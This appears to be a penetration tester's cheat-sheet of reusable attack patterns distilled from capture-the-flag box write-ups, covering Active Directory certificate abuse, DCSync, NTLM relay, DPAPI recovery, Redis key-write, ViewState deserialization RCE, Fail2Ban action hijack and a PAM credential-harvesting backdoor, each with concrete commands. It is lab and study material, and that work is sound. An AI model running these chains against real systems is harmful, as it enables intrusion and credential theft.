Reusable, box-agnostic patterns distilled from the write-ups. A full write-up is a 20-minute learning artifact; under pressure you want the pattern — recognise the shape, fire the actions, check the usual failures. The chain is: long write-up → this card → manual page → command snippet.
Each card: Pattern (the shape) · Signals (how you recognise it) · Actions (the move) · Failure checks (what trips people) · Report note (the finding angle). Links go to the source write-up and the technique pages.
| Pattern | Seen on |
|---|---|
| Kerberos-only AD (NTLM disabled) | Voleur |
| ESC1 → Pass-the-Cert → RBCD → S4U → DCSync | Authority |
| AD object-control chain → DCSync | Administrator, TombWatcher |
| Readable share → exposed secrets | Authority, Voleur |
| DPAPI credential recovery | Voleur |
| Deleted AD object restore | Voleur, TombWatcher |
| NetNTLM capture → crack or relay | Media, VulnCicada |
| MSSQL → SeImpersonate → SYSTEM | StreamIO |
| ADCS ESC8 (relay to web enrollment) | VulnCicada |
| Source review → leaked creds → code-injection RCE | Craft |
| Container root → app config → internal service → host | Craft |
| HashiCorp Vault token → SSH OTP → root | Craft |
Constrained delegation via SeEnableDelegationPrivilege + computer-object control (MAQ=0) | Redelegate |
| Low-priv MSSQL → domain account (RID) enumeration | Redelegate |
| Disclosed DNS update key → dynamic DNS hijack → mail/token interception | Snoopy |
| Callback is a protocol client (SSH), not a shell → honeypot the credential | Snoopy |
| Constrained sudo on a file processor → patch/parser file-write or file-read | Snoopy |
| ADCS escalation beyond ESC1 — ESC15 (app-policies) / ESC16 (CA security-ext disabled) | TombWatcher, Fluffy |
| Unauthenticated Redis → file-write → SSH foothold | Postman |
Leaked ASP.NET machineKey → ViewState deserialization RCE | POV |
| Writable privileged-service config + trigger → root (Fail2Ban action hijack) | Trick |
Kerberos-only AD (NTLM disabled)
- Pattern: the domain has NTLM disabled; every authentication must go through Kerberos.
- Signals:
STATUS_NOT_SUPPORTED,NTLM:False, valid creds fail over SMB/LDAP, large clock skew. - Actions: set
/etc/hosts+/etc/krb5.conf;ntpdate;getTGT→export KRB5CCNAME; target the DC FQDN; use--use-kcache(nxc),-k(impacket),evil-winrm -r REALM. - Failure checks: wrong realm casing · stale ccache active (
klist) · targeting the IP instead of the FQDN · clock skew. - Report note: authentication hardening (NTLM disabled) changed the attacker workflow but did not prevent credential abuse over Kerberos.
- Refs: Voleur · NetExec_LDAP_Kerberos
ESC1 → Pass-the-Cert → RBCD → S4U → DCSync
- Pattern: a vulnerable client-auth template yields an Administrator certificate; when PKINIT is blocked, use the cert over Schannel to write RBCD, S4U to impersonate, then DCSync.
- Signals:
certipy find -vulnerableshows enrollee-supplies-subject + client-auth + a group you control can enrol; you can create computer accounts (MachineAccountQuota > 0). - Actions:
addcomputer→certipy req -upn administrator -sid <DOMAIN_SID>-500→ (PKINIT fails) split PFX →passthecert write_rbcd→getSTS4U forcifs/DC→secretsdumpDCSync. - Failure checks: machine account needs the trailing
$· cert “no object SID” → add-sid·KDC_ERR_PADATA_TYPE_NOSUPP≠ bad cert (use Schannel) · RBCDdelegate-from= your machine account · copy the SPN hostname exactly fromklist. - Report note: a single misconfigured client-auth template enabled full domain compromise with no software vulnerability.
- Refs: Authority · Pass_the_Certificate · AD_Kerberos_Double_Hop
AD object-control chain → DCSync
- Pattern: BloodHound ACL edges chain a low-priv principal up to domain dominance via password resets, GenericWrite SPN (Kerberoast), or WriteDACL → DCSync.
- Signals: outbound control edges (GenericAll/Write, ForceChangePassword, WriteDACL) from an owned principal to higher-priv objects.
- Actions: load PowerView → abuse the exact edge (
Set-DomainUserPassword/Set-DomainObjectSPN → roast /Add-DomainObjectAclDCSync) → validate each new identity → repeat → DCSync. - Failure checks: PowerView not loaded · AD replication delay · SPN write succeeds but WinRM lacks Kerberos context (roast from Kali) · revert every change.
- Report note: accumulated excessive ACLs allowed escalation purely through legitimate AD operations.
- Refs: Administrator · TombWatcher · AD_ACL_Abuse
Readable share → exposed secrets
- Pattern: an anonymous or low-priv readable share holds automation (Ansible), backups, or office documents containing recoverable secrets.
- Signals: anonymous SMB accepted;
Development/IT/backup shares readable; config/automation/office files present. - Actions: mirror the share offline (
smbclient … 'recurse ON; prompt OFF; mget *') → grep for secrets → crack what’s encrypted (ansible2johnm16900 /office2john) → decrypt → validate the recovered cred. - Failure checks: don’t inspect file-by-file — mirror first · a cracked vault value is the key, not the final secret · pull binaries in binary mode.
- Report note: sensitive credentials stored in a readable share enabled authenticated access.
- Refs: Authority · Voleur · SMB_Ports_139_445 · Password_Cracking_Hashcat
DPAPI credential recovery
- Pattern: a user’s DPAPI credential blob + masterkey + their SID + password decrypts a stored credential.
- Signals:
AppData/…/Microsoft/Credentials/*blobs andProtect/<SID>/*masterkeys in a profile or archive. - Actions: grab the Roaming Credentials blob + matching Protect masterkey →
impacket-dpapi masterkey -sid -password→impacket-dpapi credential -key→ use the recovered Username/password. - Failure checks: pair the Roaming blob with the Roaming masterkey · the
Targetfield is a label — useUsername· all four pieces required. - Report note: cached credentials are recoverable offline once a user’s SID and password are known.
- Refs: Voleur · Windows_Credential_Manager
Deleted AD object restore
- Pattern: membership in a restore-capable group lets you recover a deleted account (AD Recycle Bin) whose known password then works.
- Signals: BloodHound shows a restore-related group membership; a note references a deleted user.
- Actions: enumerate deleted objects (
Get-ADObject -IncludeDeletedObjects) →Restore-ADObject(byObjectGUIDto dodge\0ADEL:escaping) → authenticate as the restored account. - Failure checks:
Restore-ADObjectis silent on success — re-enumerate to confirm · run as the privileged identity (RunasCs) if WinRM AD cmdlets are unstable. - Report note: recycle-bin/restore rights allowed recovery of a privileged account.
- Refs: Voleur · TombWatcher
NetNTLM capture → crack or relay
- Pattern: poison broadcast name resolution (or coerce auth) to capture NetNTLMv2, then crack offline or relay it.
- Signals: local segment with LLMNR/NBT-NS enabled; a service/feature you can point at your listener.
- Actions:
responder -I [INTERFACE]→ capture →hashcat -m 5600or relay withntlmrelayx(if SMB signing is off) → access. - Failure checks: SMB signing blocks relay (crack instead) · machine-account NetNTLM rarely cracks (relay instead).
- Report note: broadcast name resolution enabled credential interception and relay.
- Refs: Media · VulnCicada · AD_LLMNR_Poisoning
MSSQL → SeImpersonate → SYSTEM
- Pattern: service creds reach MSSQL;
xp_cmdshellgives a service-account shell holdingSeImpersonate; a Potato exploit reaches SYSTEM. - Signals: MSSQL reachable with creds;
xp_cmdshellenableable;whoami /privshowsSeImpersonatePrivilege. - Actions:
mssqlclient … -windows-auth→enable_xp_cmdshell→ shell → confirmSeImpersonate→ PrintSpoofer/GodPotato → SYSTEM. - Failure checks: use
-windows-authfor domain creds · MSSQL service accounts almost always holdSeImpersonate. - Report note: a database service account with impersonation rights enabled local SYSTEM compromise.
- Refs: StreamIO · AD_Privileged_Access · Windows_PrivEsc_Token_Privileges
ADCS ESC8 (relay to web enrollment)
- Pattern: relay coerced machine/DC NTLM authentication to the AD CS web enrollment endpoint to obtain a DC certificate → authenticate → DCSync.
- Signals: AD CS HTTP web enrollment (
/certsrv) reachable; a coercion primitive (PetitPotam) available. - Actions:
ntlmrelayx --target http://CA/certsrv/… -template DomainController→ coerce the DC → receive the cert → authenticate → DCSync. - Failure checks: needs HTTP enrollment endpoint and a coercion vector · target the right template.
- Report note: unauthenticated NTLM relay to certificate enrollment enabled domain compromise.
- Refs: VulnCicada · Pass_the_Certificate
Source review → leaked creds → code-injection RCE
- Pattern: the app’s own source (self-hosted git like Gogs/GitLab, or an exposed
.git) reveals both the bug and the credentials to reach it; an unsafe sink (eval, template, deserialization, SQL) then yields RCE. - Signals: a public/self-hosted git service; issues/commits referencing a vulnerable endpoint; test scripts; an API that needs a token.
- Actions: read repos + issue tracker + commit history (creds often hide in old commits) → recover working creds → reach the authenticated endpoint → exploit the sink (e.g. Python
evalvia__import__('os').system(...)). - Failure checks: stale tokens still teach the header/format · the sink may be code (Python) not shell — the payload must be valid in that language · prove execution with a harmless callback before a shell.
- Report note: secrets in source control plus unsafe evaluation of user input enabled remote code execution.
- Refs: Craft · Common_Apps_GitLab_osTicket · Command_Injection_Fundamentals
Container root → app config → internal service → host
- Pattern: RCE lands as root inside a container; the app’s config holds internal-service creds; those (or reused) creds reach the real host.
- Signals:
/.dockerenvpresent; minimal env (no/bin/bash); app config (settings.py/.env) with DB creds + an internal hostname. - Actions: confirm container (
/.dockerenv) → loot app config → query internal services from inside the container (it already has the network + deps) → harvest creds → test reuse against host services (SSH, git, web). - Failure checks: container root ≠ host root — don’t kernel-privesc · internal DB may only resolve from the container · a recovered password may be a key passphrase, not a login.
- Report note: container compromise plus credential reuse bridged from an isolated app container to the host.
- Refs: Craft · Linux_PrivEsc_Enumeration · Attacking_SQL_Databases · Credential_Hunting_Linux
HashiCorp Vault token → SSH OTP → root
- Pattern: a
.vault-tokenon the host carries therootpolicy; Vault’s SSH secrets engine issues a one-time root SSH password. - Signals:
.vault-tokenin a home dir;vaultinstalled and reachable; anssh/secrets engine with an OTP role (default_user root,cidr 0.0.0.0/0). - Actions:
vault token lookup(confirmrootpolicy) →vault secrets list→vault list ssh/roles→vault ssh -role <role> -mode otp root@127.0.0.1→ paste the OTP at the password prompt. - Failure checks: the token is not the password — it generates an OTP · missing
sshpassonly stops auto-paste (paste manually) · OTPs are one-time/short-lived — regenerate if it fails. - Report note: an overly-privileged Vault token stored on disk allowed escalation to root via the SSH OTP engine.
- Refs: Craft
Constrained delegation via SeEnableDelegationPrivilege + computer-object control (MAQ=0)
- Pattern: when
MachineAccountQuota = 0blocks creating a new computer account, abuse an existing computer object you control. Reset its password to own it, configure classic constrained delegation with protocol transition on it, then S4U to a DC service and DCSync. - Signals: an owned user holds
SeEnableDelegationPrivilege(whoami /priv) and hasGenericAll/write over a computer object (BloodHound);MachineAccountQuota: 0(so RBCD-via-new-machine is out). - Actions:
Set-ADAccountPassword 'FS01$'(orbloodyAD set password) to take control →bloodyAD add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION→bloodyAD set object 'FS01$' msDS-AllowedToDelegateTo -v cifs/dc.<domain>→getTGTas the machine →getST -spn cifs/dc.<domain> -impersonate dc→export KRB5CCNAMEthe generated ticket →secretsdump -k -no-passDCSync. - Failure checks:
SeEnableDelegationPrivilegeis required to write the delegation flags — a plainGenericAllalone isn’t enough · direction matters: configure the controlled computer to delegate to a DC service, not the reverse · the DC may not listcifs/explicitly —HOSTSPN mappings (sPNMappings) cover CIFS ·getSTsaves a long-named ccache, notdc.ccache—ls *.ccacheand export the exact file · single-quoteFS01$so the shell doesn’t eat$. - Report note: a user able to configure delegation (
SeEnableDelegationPrivilege) combined with write control over a computer object enabled full domain compromise even withMachineAccountQuotaset to 0. - Refs: Redelegate · AD_Privileged_Access · AD_Kerberos_Double_Hop · AD_ACL_Abuse
Low-priv MSSQL → domain account (RID) enumeration
- Pattern: a service/vault credential authenticates to MSSQL but is low-privileged (not
sysadmin, noxp_cmdshell). It’s still useful: MSSQL can resolve domain SIDs/RIDs to enumerate a clean AD user/group list with no other domain foothold. - Signals: a recovered cred works with
nxc mssql … --local-auth;IS_SRVROLEMEMBER('sysadmin') = 0;xp_cmdshelldisabled; you have no validated domain username yet. - Actions: confirm context (
SELECT SYSTEM_USER / USER_NAME() / @@VERSION) → run the RID sweep (auxiliary/admin/mssql/mssql_enum_domain_accounts, setfuzznum) → strip groups/machine accounts/built-ins to a real user list → feed it into lockout-aware spraying. - Failure checks: classify the cred first — a
SQLGuest-style entry is SQL-local, use--local-auth(an SMB failure doesn’t invalidate it) · this is enumeration, not RCE — don’t burn time forcingxp_cmdshell· drop groups/$machine accounts before spraying. - Report note: a low-privileged database login allowed enumeration of domain accounts via SID/RID resolution, seeding credential attacks.
- Refs: Redelegate · Attacking_SQL_Databases · AD_Password_Spraying_AD
Disclosed DNS update key → dynamic DNS hijack → mail/token interception
- Pattern: an exposed config file leaks a DNS dynamic-update key (RNDC/TSIG); the zone allows authenticated updates with it. Repoint a record (e.g. the mail server) to attacker infrastructure, stand up the matching service, and intercept whatever the target sends there — classically a password-reset email.
- Signals: BIND
named.confreachable (LFI/readable share) withkey "rndc-key" {…}+ a zoneallow-update { key … }; an app that sends mail/tokens; a hint that a server (mail.<domain>) is “offline” or being migrated; a password-reset flow that distinguishes valid from invalid accounts. - Actions: build a key file →
nsupdate -k keyfile(server <DNS>,zone <z>,update add name. 60 A <ATTACKER>) → verify withdig @<DNS> name +short→ stand up the receiver (Postfix for SMTP — frees port 25 from INetSim first) → trigger the flow → read the captured token (/var/mail/<user>, decode quoted-printable withquopri). - Failure checks:
digignores/etc/hosts— query@<target DNS>directly ·nsupdateneeds a TTL before the type (name. 60 A ip) · zone may reset the record — re-apply in a loop · a captured reset URL is single-use/expiring — use it promptly. - Report note: a disclosed dynamic-update key combined with an attacker-influenceable mail/token flow enabled account takeover with no exploit of the application itself.
- Refs: Snoopy · Attacking_DNS · Attacking_Email_Services · LFI_Path_Traversal_Bypasses
Callback is a protocol client (SSH), not a shell → honeypot the credential
- Pattern: an automation/provisioning feature connects out to a host you supply. The connection isn’t a reverse shell — it speaks a real protocol (often SSH). A plain
nclistener proves the TCP connect but throws the auth away. Run a fake server for that protocol to capture the credential the client offers. - Signals: a “provision/test/connect to my server” workflow; an outbound SYN to a service port (22/2222); the client banner identifies a library (
SSH-2.0-paramiko_…);ncshows a connect but no usable data. - Actions: identify the protocol from the banner/port → run the matching honeypot (
sshesamefor SSH, bound to the callback port) → trigger the workflow → read the captured username/password → reuse it against the real service. - PAM alternative (no honeypot): hook
auth optional pam_exec.so quiet expose_authtok /dev/shm/pwn.shinto/etc/pam.d/common-authon a box running a realsshd;expose_authtokpipes the cleartext token to your script on stdin, so the inbound auth leaks the password (script logs$PAM_USER+cat -). Forward the callback port into the real daemon withsocat TCP-LISTEN:2222,fork,reuseaddr TCP:127.0.0.1:22instead of rebinding sshd. Insert the hook beforepam_unix.so, not appended to the bottom — the stack ends withpam_deny.so(requisite) which terminates on a failed/unknown-user auth, so a hook below it never runs for the bot’s attempt. Two-pass capture: for a user that doesn’t exist locally,sshdruns a dummy auth path and never feeds the password into PAM, so the first attempt logs only the username ($PAM_USER, empty password field). Read the name,sudo useradd <user>, then re-trigger the workflow — the second attempt drives the real auth path andexpose_authtokexposes the cleartext token. Same hook = a credential-harvesting persistence backdoor once you own a target box. Casts-wide-net caveat: it captures every auth on that host — remove the line (and throwaway account) when done. - Failure checks:
ncis only a connectivity check — it can’t complete an SSH handshake · the honeypot needn’t offer a real shell, just complete enough auth to log the attempt · match the listener port to what the workflow dials · for the PAM route the attackersshdneedsUsePAM yes+PasswordAuthentication yes. - Report note: an automated workflow authenticated with reusable credentials to an attacker-supplied host, allowing credential capture via a rogue server.
- Refs: Snoopy · Linux_Remote_Management_SSH_Rsync_RServices · Linux_Auth_Process · Shell_Bind_Reverse
Constrained sudo on a file processor → patch/parser file-write or file-read
- Pattern: a tight
sudorule (locked-down regex, fixed flags, fixed directory) looks unexploitable as a shell escape — but the allowed binary processes a file you control. Attack the file format, not the command line: a patch tool that follows symlinks writes where you point it; a parser with an injection bug (XXE) reads files for you. The privilege comes from what the trusted process does with your input, run as the target user/root. - Signals:
sudo -lshows a binary pinned to a regex like[a-zA-Z0-9.]+with no flag/path freedom; the binary is a patcher/archiver/AV/converter that ingests a file from a writable directory; the version is old enough to carry a known parser CVE. - Actions: (write)
git applyas another user → track a symlink to the target dir in a throwaway repo, craft a patch that renames the symlink and adds a file through it (e.g.authorized_keys), apply as the target. (read) oldclamscan --debug→ build a DMG whose plist carries an XML external entity (patchlibdmg-hfsplus), scan it, read the leaked file from debug output. Always prove the primitive on a harmless target (/etc/hostname) before root material. - Failure checks: patch hunks need exact framing — added lines start with
+, keys stay one line · a stale/deleted CWD breaks git (Unable to read current working directory) — recreate the repo · parser disclosure rides stderr — capture2>&1· “scan OK”/“applied cleanly” is success, not failure — read the side effect · copy leaked PEM blocks without the debug prefix. - Report note: an overly-permissive sudo rule on a file-processing binary allowed file write / file read as a higher-privileged account, bypassing the apparent command restriction.
- Refs: Snoopy · Linux_PrivEsc_Permissions_Sudo · XXE_Injection
ADCS escalation beyond ESC1 — ESC15 (app-policies) / ESC16 (CA security-ext disabled)
- Pattern:
certipy find -vulnerablelisting no vulnerable templates does not mean AD CS is safe. ESC16 is a CA-wide setting (the CA omits the SID security extension), and ESC15 abuses a schema-v1 enrollee-supplies-subject template by injecting application policies. Both let a low-priv principal obtain a cert that authenticates as a privileged user. - Signals:
certipy findflagsESC15on a template, or shows “Security Extension Disabled”/ESC16at the CA level; a schema-v1 template with Enrollee-Supplies-Subject + client-auth EKU; a clean per-template-vulnerablelist (don’t stop there). - Actions: ESC16 →
certipy account update -upn administrator@<domain>on a controlled account →certipy reqoff any client-auth template → restore the UPN →certipy auth -pfx. ESC15 →certipy req … -upn <target> -sid <target-SID> -application-policies 'Client Authentication'→certipy auth. - Failure checks: ESC16 UPN swap is destructive to the controlled account — restore the UPN immediately after issuing · a
-vulnerableblank doesn’t rule out CA-wide ESC16 · supply-sidto satisfy strong mapping · an unresolved SID in a template ACL is a tombstoned-principal clue (restore it, then enrol). - Report note: a CA/template misconfiguration permitted certificate-based authentication as a privileged identity with no software vulnerability.
- Refs: TombWatcher · Fluffy · Pass_the_Certificate
Unauthenticated Redis → file-write → SSH foothold
- Pattern: an exposed Redis with no auth is a file-write primitive, not just a data-read finding. Redirect its dump file into a user’s
.ssh/and flush a padded public key intoauthorized_keys, then SSH in. - Signals: port 6379 open;
redis-cli -h <ip>answersPING/INFOwith noNOAUTH;CONFIG GET diris settable. - Actions: generate a keypair →
config set dir /home/<user>/.ssh/→config set dbfilename authorized_keys→set crackit "\n\n<padded pubkey>\n\n"→save→ssh -i key <user>@<ip>. (Webroot web-shell write andMODULE LOADRCE are alternatives.) - Failure checks:
NOAUTH→ needs creds (-a) · “protected mode”/localhost-bound → pivot or tunnel in · key written but SSH still fails → wrong home dir,.sshperms, or key not newline-padded. - Report note: an unauthenticated in-memory data store allowed arbitrary file write, yielding an interactive foothold.
- Refs: Postman · Attacking_Redis
Leaked ASP.NET machineKey → ViewState deserialization RCE
- Pattern: an exposed
web.configdiscloses the ASP.NETmachineKey; with the validation/decryption keys you forge a signed (and encrypted)__VIEWSTATEthat deserializes to code execution as the IIS app-pool identity. - Signals: a readable/leaked
web.config(LFI, path traversal, directory exposure) containing<machineKey validationKey=… decryptionKey=…>; an ASP.NET app posting__VIEWSTATE. - Actions:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "<cmd>" --validationkey=… --validationalg=… --decryptionkey=… --decryptionalg=… --path=/<page>.aspx --apppath=/(via mono/wine on Linux) → POST as__VIEWSTATE+ matching__VIEWSTATEGENERATOR. - Failure checks: align
--path/--apppathso the computed generator matches the real request rather than forcing--generator· toggle--islegacyif generation style is wrong · paste the blob as-is — don’t let Burp double-URL-encode it. - Report note: disclosed cryptographic key material enabled forging trusted ViewState and remote code execution.
- Refs: POV · Common_Apps_IIS_Tilde_LDAP_ThickClient
Writable privileged-service config + trigger → root (Fail2Ban action hijack)
- Pattern: you can restart a root service (sudo) and write to its action/config dir. Overwrite the command it runs on an event, then trigger the event so your payload executes as root. Fail2Ban is the canonical case: edit
actionban, then get yourself banned. - Signals:
sudo -lallows restarting fail2ban (or it auto-reloads); write access to/etc/fail2ban/action.d/orjail.local(often via a service group). - Actions: overwrite
actionbanin an active action (e.g.iptables-multiport.conf) with a SUID-copy/reverse-shell payload → reload fail2ban → trigger a real ban (burst failed SSH logins from a throwaway source) soactionbanfires as root. - Failure checks: restarting/reloading alone does not run
actionban— only an actual ban does · confirm the jail is enabled and watching the log you can reach. - Report note: write access to a root-run service’s action configuration allowed command execution as root via a normal service event.
- Refs: Trick · Linux_PrivEsc_Services_Cron
🔗 Related Nodes
- Decision_Trees · Symptom_Index — route into these patterns when you recognise the shape
- Engagement_Cockpit — the always-open driver page
- The full write-ups live under Write-ups